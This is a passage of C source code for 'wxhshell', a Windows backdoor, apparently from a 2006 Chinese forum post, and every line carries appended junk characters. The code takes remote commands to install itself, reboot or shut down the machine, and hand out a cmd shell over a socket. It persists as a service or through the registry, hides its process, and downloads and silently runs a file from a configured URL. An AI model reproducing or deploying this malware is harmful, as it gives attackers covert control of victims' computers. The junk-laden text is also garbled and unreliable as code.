  X%+FM]  
  // 帮助 zTFfft<  
  case '?': { -0KQR{LI  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $ Cr? }'a  
    break; )~hsd+ 0t  
  } !Ua74C  
  // 安装 Y(>]7  
  case 'i': { {.W$<y (j7  
    if(Install()) e`1,jt'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V24i8Qx  
    else !ul)e;a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sb&sW?M  
    break; xg'FC/1LD  
    } T=8> 0D^v5  
  // 卸载 b";w\H  
  case 'r': { RI#C r+/  
    if(Uninstall()) 4|+6a6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .x__X3P>\  
    else l}>gG[q!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /2,s-^  
    break; t7VXW{3  
    } N=) E$h  
  // 显示 wxhshell 所在路径 LK8K=AA3P  
  case 'p': { >\Qyg>Md]  
    char svExeFile[MAX_PATH]; WMB~? EDhv  
    strcpy(svExeFile,"\n\r"); JwzA'[tM  
      strcat(svExeFile,ExeFile); w%,Iy, G@  
        send(wsh,svExeFile,strlen(svExeFile),0); 05 ".;(  
    break; ]xf lfZ  
    } 7y",%WYSD  
  // 重启 Qtmsk:qm  
  case 'b': { MSPzOJQPy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K5x&:z  
    if(Boot(REBOOT)) #]G$o?@Y=^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ziuhS4k  
    else { H'uRgBjWJ  
    closesocket(wsh); 2?LZW14$d  
    ExitThread(0); ArBgg[i  
    } axOdGv5  
    break; e_6@oh2s-  
    } U8?%Dq%i  
  // 关机 C\7qAR\  
  case 'd': { cdL$T6y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EP#3+B sH  
    if(Boot(SHUTDOWN)) OQ<|Xd I$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $CaF"5}?Ke  
    else { XUU l*5^  
    closesocket(wsh); uS3 s  
    ExitThread(0); .K(IRWuw  
    } '?+q3lps  
    break; #vhxW=L`=  
    } M*)}F  
  // 获取shell 9:^SnHAa  
  case 's': { _20nOg`o  
    CmdShell(wsh); #vJDb |z  
    closesocket(wsh); [wAI;=.  
    ExitThread(0); "}PaMR]  
    break; D_,}lsrb  
  } -#v1b>ScY  
  // 退出 `gq@LP"o  
  case 'x': { 3_(fisvx  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n!mtMPH$  
    CloseIt(wsh); be`\ O  
    break; uX@RdkC  
    } h?2qX  
  // 离开 4oLrCQZ\  
  case 'q': { ?6B n&qa  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Oy$*ZG)  
    closesocket(wsh); %n`wU-?lK  
    WSACleanup(); k<uC[)_  
    exit(1); SP9_s7LL  
    break; x72bufd  
        } ' jFSv|g+0  
  } '+BcPB?E  
  } \H+/D &M  
}<w/2<T[  
  // 提示信息 Wa~'p+<c~b  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pR2QS  
} E1:{5F5/  
  } b,YTw  
sW 7R&t!G  
  return; G S-@drZp_  
} 79<{cexP  
L.bR\fE   
// shell模块句柄 oDul ?%  
int CmdShell(SOCKET sock) xg)cA C\=  
{ )sG`sET]`f  
STARTUPINFO si; F+Og8^!  
ZeroMemory(&si,sizeof(si)); +DS_'Tmr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7g3vh%G.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m sS5"Qr  
PROCESS_INFORMATION ProcessInfo; @giipF2$  
char cmdline[]="cmd"; %'Ebm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); aG QC  
  return 0;  :0ZFbIy  
} uArs[e|f  
|4BS\fx~N  
// 自身启动模式 W:8_S%~d  
int StartFromService(void) W0eb9g`s  
{ ~}|)@,N'bm  
typedef struct $6 \v1  
{ %qRbl4  
  DWORD ExitStatus; cYyv iR59#  
  DWORD PebBaseAddress; aS?A3h4WM_  
  DWORD AffinityMask; U<fe 'd  
  DWORD BasePriority; )r-t$ L  
  ULONG UniqueProcessId; uiDK&@RS  
  ULONG InheritedFromUniqueProcessId; 9vT@ mqKu  
}   PROCESS_BASIC_INFORMATION; ^2OBc  
U/&!F  
PROCNTQSIP NtQueryInformationProcess; hZ!N8nWwNR  
>5)E\4r-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]+Yd#<j(u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A-r-^S0\  
hZ-No  
  HANDLE             hProcess; UOH2I+@V  
  PROCESS_BASIC_INFORMATION pbi; r-'(_t~FT  
Iq.*2aff+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D1t@Y.vl  
  if(NULL == hInst ) return 0; /\_`Pkd3m  
-:t<%]RfY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0 } uEM_a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lN*O</L,"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FR _R"p  
m/3b7c@r  
  if (!NtQueryInformationProcess) return 0; B<(v\=xZ  
`s(T (l  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZWaHG_ U)  
  if(!hProcess) return 0; %qL0=ad  
.]g>.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^il'Q_-{  
]&w>p#_C  
  CloseHandle(hProcess); si,fs%D&  
'`=z52  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,TaaXI  
if(hProcess==NULL) return 0; -qz;  
v|`f8M2  
HMODULE hMod; R"#DR^.;  
char procName[255]; 5an#,vCn{  
unsigned long cbNeeded; ENm\1  
:%Na-j9hV)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Xu $_%+46  
@x?7J@:  
  CloseHandle(hProcess); i6M_Gk}  
f.cIhZF  
if(strstr(procName,"services")) return 1; // 以服务启动 cx M=#Go  
dQLR%i#P8  
  return 0; // 注册表启动 XzGPBi  
} 2V7x  
;=>4 '$8  
// 主模块 wND0KiwH  
int StartWxhshell(LPSTR lpCmdLine) T :IKyb  
{ -Wc'k 2oU  
  SOCKET wsl; 5xL%HX[S  
BOOL val=TRUE; 5CH9m[S  
  int port=0; #jn6DL@[{  
  struct sockaddr_in door; !7t,(Id8  
]}H;`H  
  if(wscfg.ws_autoins) Install(); 4^(u6tX5|+  
nBv|5$w:  
port=atoi(lpCmdLine); F-g(Hk|v  
833KU_ N  
if(port<=0) port=wscfg.ws_port; 0G?0 Bo  
~.7r  
  WSADATA data; Y}%=:Yt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q`}1 B   
52K_kB5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +[M5x[[$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;|&Ak_I2G  
  door.sin_family = AF_INET; YFgQ!\&59  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); OnFx8r:q@%  
  door.sin_port = htons(port); AHX_I  
4HEp}Y"}V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { VE1 B"s</  
closesocket(wsl); RGh `=D/yE  
return 1; jrT5Rw_}q  
} "?a(JC  
Rdao  
  if(listen(wsl,2) == INVALID_SOCKET) { Es<id}`  
closesocket(wsl); 5-l cz)DO  
return 1; J&4LyIpQ  
} +ew2+2  
  Wxhshell(wsl); pv8"E?9,k  
  WSACleanup(); ,!U 5;  
]^:l?F\h  
return 0; uCuXY#R+  
8t3@ Hi  
} 1V(tt{  
; =.VKW%U  
// 以NT服务方式启动 E&r*[;$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e#]=-^  
{ ](c[D9I!8  
DWORD   status = 0; SOQm>\U'i  
  DWORD   specificError = 0xfffffff; 8 St`,Tq)  
<_&tP=h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'PTWC.C?9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; . OA_)J7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xB"o 7,  
  serviceStatus.dwWin32ExitCode     = 0; k @'85A`  
  serviceStatus.dwServiceSpecificExitCode = 0; Ym6zNb8 bQ  
  serviceStatus.dwCheckPoint       = 0; L/9f"%kZ  
  serviceStatus.dwWaitHint       = 0; yEL^Y'x?  
q5J6d+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;B>2oq  
  if (hServiceStatusHandle==0) return; @*jd.a`  
+o})Cs`|=A  
status = GetLastError(); g(m3 &  
  if (status!=NO_ERROR) \NwL#bQ~  
{ mle"!*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [I:D\)$<  
    serviceStatus.dwCheckPoint       = 0; 2^N 4(  
    serviceStatus.dwWaitHint       = 0; d[;=X.fZ2  
    serviceStatus.dwWin32ExitCode     = status; Q)x`'[3"7W  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^pA|ubZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); TUzpln  
    return; vy\;#X!  
  } -ZqN~5>j)  
*fVs|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~yz7/?A)TS  
  serviceStatus.dwCheckPoint       = 0; -#T?C ]}  
  serviceStatus.dwWaitHint       = 0; I;kKY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aR30wxW&)  
} f;M7y:A8q,  
m5Gt8Z 6a  
// 处理NT服务事件,比如:启动、停止 #UGm/4C  
VOID WINAPI NTServiceHandler(DWORD fdwControl) RkP g&R;i  
{ v WKUV|  
switch(fdwControl) FRpTYLA2  
{ hp?hb-4l  
case SERVICE_CONTROL_STOP: ]5b%r;_  
  serviceStatus.dwWin32ExitCode = 0; gf2<dEff  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ZVu&q{s,  
  serviceStatus.dwCheckPoint   = 0; .nX+!EXeS  
  serviceStatus.dwWaitHint     = 0; PEZ~og:w  
  { lAuI?/E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P_)h8-!+ $  
  } }|>mR];  
  return; l?E7'OEF:  
case SERVICE_CONTROL_PAUSE: (.Yt| "j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q.: SIBP  
  break; 8;>vgD  
case SERVICE_CONTROL_CONTINUE: Fa78yY+6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #MYhKySku  
  break; T1yJp$yD"  
case SERVICE_CONTROL_INTERROGATE: qXmkeidb&W  
  break; \9*wo9cV  
}; \A'MEd-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X,d`-aKO\y  
} xFcJyjo^z  
vB >7W  
// 标准应用程序主函数 i_8q!CL@{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A9^t$Ii  
{ 8*y hx  
_:F0>=$  
// 获取操作系统版本 N q %@(K  
OsIsNt=GetOsVer(); dX|(n.}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); XUeBK/aQ{  
T^YdAQeE  
  // 从命令行安装 iW\cLp "  
  if(strpbrk(lpCmdLine,"iI")) Install(); <}x_F)E[t  
e glcf z%  
  // 下载执行文件 A+i|zo5p=k  
if(wscfg.ws_downexe) { :/'2@M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I_xvg >i  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4A(kM}uRB  
} 1+6)0 OH{  
3}{od$3G  
if(!OsIsNt) { *k$&U3=  
// 如果时win9x,隐藏进程并且设置为注册表启动 R<aF;Rvb5  
HideProc(); ]H8,}  
StartWxhshell(lpCmdLine); m~a'  
} ``bIqY  
else 9 A0wiKp  
  if(StartFromService()) 'B&gr}@4O=  
  // 以服务方式启动 &`hx   
  StartServiceCtrlDispatcher(DispatchTable); P+00wbx0  
else #=r:;,,  
  // 普通方式启动 "bZ {W(h  
  StartWxhshell(lpCmdLine); qzq_3^ 66  
# T_m|LN 7  
return 0; j?sq i9#  
}
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只看该作者 1 发表于: 2006-10-10
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